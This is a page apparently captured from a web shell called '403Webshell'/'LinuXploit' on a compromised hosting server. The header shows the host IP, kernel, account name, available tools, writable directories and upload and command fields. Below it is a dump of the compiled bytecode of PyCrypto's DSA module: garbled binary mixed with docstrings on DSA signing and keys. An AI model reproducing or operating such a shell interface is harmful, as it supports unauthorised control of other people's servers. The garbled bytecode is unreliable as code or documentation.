403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.138.174.90
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib64/python3.7/site-packages/Crypto/PublicKey/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib64/python3.7/site-packages/Crypto/PublicKey/__pycache__/DSA.cpython-37.pyc
B

t~�^y5�@s�dZdZdddddgZddlZejdd	krBejd
d
krBddlTddlmZmZm	Z	dd
l
mZyddlmZWne
k
r�dZYnXGdd�de	j	�ZGdd�de�Ze�ZejZejZejZdS)axDSA public-key signature algorithm.

DSA_ is a widespread public-key signature algorithm. Its security is
based on the discrete logarithm problem (DLP_). Given a cyclic
group, a generator *g*, and an element *h*, it is hard
to find an integer *x* such that *g^x = h*. The problem is believed
to be difficult, and it has been proved such (and therefore secure) for
more than 30 years.

The group is actually a sub-group over the integers modulo *p*, with *p* prime.
The sub-group order is *q*, which is prime too; it always holds that *(p-1)* is a multiple of *q*.
The cryptographic strength is linked to the magnitude of *p* and *q*.
The signer holds a value *x* (*0<x<q-1*) as private key, and its public
key (*y* where *y=g^x mod p*) is distributed.

In 2012, a sufficient size is deemed to be 2048 bits for *p* and 256 bits for *q*.
For more information, see the most recent ECRYPT_ report.

DSA is reasonably secure for new designs.

The algorithm can only be used for authentication (digital signature).
DSA cannot be used for confidentiality (encryption).

The values *(p,q,g)* are called *domain parameters*;
they are not sensitive but must be shared by both parties (the signer and the verifier).
Different signers can share the same domain parameters with no security
concerns.

The DSA signature is twice as big as the size of *q* (64 bytes if *q* is 256 bit
long).

This module provides facilities for generating new DSA keys and for constructing
them from known components. DSA keys allows you to perform basic signing and
verification.

    >>> from Crypto.Random import random
    >>> from Crypto.PublicKey import DSA
    >>> from Crypto.Hash import SHA
    >>>
    >>> message = "Hello"
    >>> key = DSA.generate(1024)
    >>> h = SHA.new(message).digest()
    >>> k = random.StrongRandom().randint(1,key.q-1)
    >>> sig = key.sign(h,k)
    >>> ...
    >>> if key.verify(h,sig):
    >>>     print "OK"
    >>> else:
    >>>     print "Incorrect signature"

.. _DSA: http://en.wikipedia.org/wiki/Digital_Signature_Algorithm
.. _DLP: http://www.cosic.esat.kuleuven.be/publications/talk-78.pdf
.. _ECRYPT: http://www.ecrypt.eu.org/documents/D.SPA.17.pdf
z$Id$�generate�	construct�error�DSAImplementation�_DSAobj�N��)�*)�_DSA�	_slowmath�pubkey)�Random)�	_fastmathc@s�eZdZdZdddddgZdd�Zd	d
�Zdd�Zd
d�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-S).rzlClass defining an actual DSA key.

    :undocumented: __getstate__, __setstate__, __repr__, __getattr__
    �y�g�p�q�xcCs||_||_dS)N)�implementation�key)�selfrr�r�G/opt/alt/python37/lib64/python3.7/site-packages/Crypto/PublicKey/DSA.py�__init__ssz_DSAobj.__init__cCs.||jkrt|j|�Std|jj|f��dS)Nz%s object has no %r attribute)�keydata�getattrr�AttributeError�	__class__�__name__)r�attrnamerrr�__getattr__ws
z_DSAobj.__getattr__cCstj�|||�S)a�Sign a piece of data with DSA.

        :Parameter M: The piece of data to sign with DSA. It may
         not be longer in bit size than the sub-group order (*q*).
        :Type M: byte string or long

        :Parameter K: A secret number, chosen randomly in the closed
         range *[1,q-1]*.
        :Type K: long (recommended) or byte string (not recommended)

        :attention: selection of *K* is crucial for security. Generating a
         random number larger than *q* and taking the modulus by *q* is
         **not** secure, since smaller values will occur more frequently.
         Generating a random number systematically smaller than *q-1*
         (e.g. *floor((q-1)/8)* random bytes) is also **not** secure. In general,
         it shall not be possible for an attacker to know the value of `any
         bit of K`__.

        :attention: The number *K* shall not be reused for any other
         operation and shall be discarded immediately.

        :attention: M must be a digest cryptographic hash, otherwise
         an attacker may mount an existential forgery attack.

        :Return: A tuple with 2 longs.

        .. __: http://www.di.ens.fr/~pnguyen/pub_NgSh00.htm
        )r�sign)r�M�Krrrr!sz_DSAobj.signcCstj�|||�S)aEVerify the validity of a DSA signature.

        :Parameter M: The expected message.
        :Type M: byte string or long

        :Parameter signature: The DSA signature to verify.
        :Type signature: A tuple with 2 longs as return by `sign`

        :Return: True if the signature is correct, False otherwise.
        )r�verify)rr"Z	signaturerrrr$�sz_DSAobj.verifycCstd��dS)NzDSA cannot encrypt)�	TypeError)r�cr#rrr�_encrypt�sz_DSAobj._encryptcCstd��dS)NzDSA cannot decrypt)r%)rr&rrr�_decrypt�sz_DSAobj._decryptcCstd��dS)NzDSA cannot blind)r%)r�m�rrrr�_blind�sz_DSAobj._blindcCstd��dS)NzDSA cannot unblind)r%)rr)r*rrr�_unblind�sz_DSAobj._unblindcCs|j�||�S)N)r�_sign)rr)�krrrr-�sz
_DSAobj._signcCs|\}}|j�|||�S)N)r�_verify)rr)�sigr*�srrrr/�sz_DSAobj._verifycCs
|j��S)N)r�has_private)rrrrr2�sz_DSAobj.has_privatecCs
|j��S)N)r�size)rrrrr3�sz_DSAobj.sizecCsdS)NFr)rrrr�	can_blind�sz_DSAobj.can_blindcCsdS)NFr)rrrr�can_encrypt�sz_DSAobj.can_encryptcCsdS)NTr)rrrr�can_sign�sz_DSAobj.can_signcCs$|j�|jj|jj|jj|jjf�S)N)rrrrrrr)rrrr�	publickey�sz_DSAobj.publickeyc	CsBi}x8|jD].}yt|j|�||<Wqtk
r8YqXqW|S)N)rrrr)r�dr.rrr�__getstate__�s
z_DSAobj.__getstate__cCsVt|d�st�|_g}x&|jD]}||kr,P|�||�qW|jjjt|��|_dS)Nr)	�hasattrrrr�append�_math�
dsa_construct�tupler)rr8�tr.rrr�__setstate__�s
z_DSAobj.__setstate__cCszg}xF|jD]<}|dkr2|�d|��df�qt|j|�r|�|�qW|��r^|�d�d|jjt|�d�	|�fS)Nrzp(%d)rZprivatez
<%s @0x%x %s>�,)
rr;r3r:rr2rr�id�join)r�attrsr.rrr�__repr__�s
z_DSAobj.__repr__N)r�
__module__�__qualname__�__doc__rrr r!r$r'r(r+r,r-r/r2r3r4r5r6r7r9r@rErrrrr`s*

	
c@s<eZdZdZdd�Zdd�Zd
dd�Zdd	d
�Zdd�ZdS)rz�
    A DSA key factory.

    This class is only internally used to implement the methods of the
    `Crypto.PublicKey.DSA` module.
    cKsr|�dd�}|dkr,tdk	r$t|_qPt|_n$|rJtdk	r@t|_qPtd��nt|_|jj|_|�dd�|_d|_dS)a�Create a new DSA key factory.

        :Keywords:
         use_fast_math : bool
                                Specify which mathematic library to use:

                                - *None* (default). Use fastest math available.
                                - *True* . Use fast math.
                                - *False* . Use slow math.
         default_randfunc : callable
                                Specify how to collect random data:

                                - *None* (default). Use Random.new().read().
                                - not *None* . Use the specified function directly.
        :Raise RuntimeError:
            When **use_fast_math** =True but fast math is not available.
        �
use_fast_mathNzfast math module not availableZdefault_randfunc)�getrr<r�RuntimeErrorrZ_default_randfunc�_current_randfunc)r�kwargsrIrrrr�s

zDSAImplementation.__init__cCs(|dk	r|S|jdkr"t��j|_|jS)N)rLr
�new�read)r�randfuncrrr�
_get_randfunc!s

zDSAImplementation._get_randfuncNcCs>x*dD]"}|dd|kr|�|||�SqWtd|f��dS)a�Randomly generate a fresh, new DSA key.

        :Parameters:
         bits : int
                            Key length, or size (in bits) of the DSA modulus
                            *p*.
                            It must be a multiple of 64, in the closed
                            interval [512,1024].
         randfunc : callable
                            Random number generation function; it should accept
                            a single integer N and return a string of random data
                            N bytes long.
                            If not specified, a new one will be instantiated
                            from ``Crypto.Random``.
         progress_func : callable
                            Optional function that will be called with a short string
                            containing the key parameter currently being generated;
                            it's useful for interactive applications where a user is
                            waiting for a key to be generated.

        :attention: You should always use a cryptographically secure random number generator,
            such as the one defined in the ``Crypto.Random`` module; **don't** just use the
            current time and the ``random`` module.

        :Return: A DSA key object (`_DSAobj`).

        :Raise ValueError:
            When **bits** is too little, too big, or not a multiple of 64.
        )	rrr������i�@zNNumber of bits in p must be a multiple of 64 between 512 and 1024, not %d bitsN)�	_generate�
ValueError)r�bitsrP�
progress_func�irrrr(s!
zDSAImplementation.generatecCs@|�|�}t�|||�}|j�|j|j|j|j|j	�}t
||�S)N)rQr
Zgenerate_pyr<r=rrrrrr)rr[rPr\Zrf�objrrrrrYSs
zDSAImplementation._generatecCs|jj|�}t||�S)a�Construct a DSA key from a tuple of valid DSA components.

        The modulus *p* must be a prime.

        The following equations must apply:

        - p-1 = 0 mod q
        - g^x = y mod p
        - 0 < x < q
        - 1 < g < p

        :Parameters:
         tup : tuple
                    A tuple of long integers, with 4 or 5 items
                    in the following order:

                    1. Public key (*y*).
                    2. Sub-group generator (*g*).
                    3. Modulus, finite field order (*p*).
                    4. Sub-group order (*q*).
                    5. Private key (*x*). Optional.

        :Return: A DSA key object (`_DSAobj`).
        )r<r=r)r�tuprrrrrYszDSAImplementation.construct)NN)NN)	rrFrGrHrrQrrYrrrrrr�s*
+
)rH�__revision__�__all__�sys�version_infoZCrypto.Util.py21compatZCrypto.PublicKeyr
rr�Cryptor
r�ImportErrorr�objectr�_implrrrrrrr�<module>Ns&


Youez - 2016 - github.com/yon3zu
LinuXploit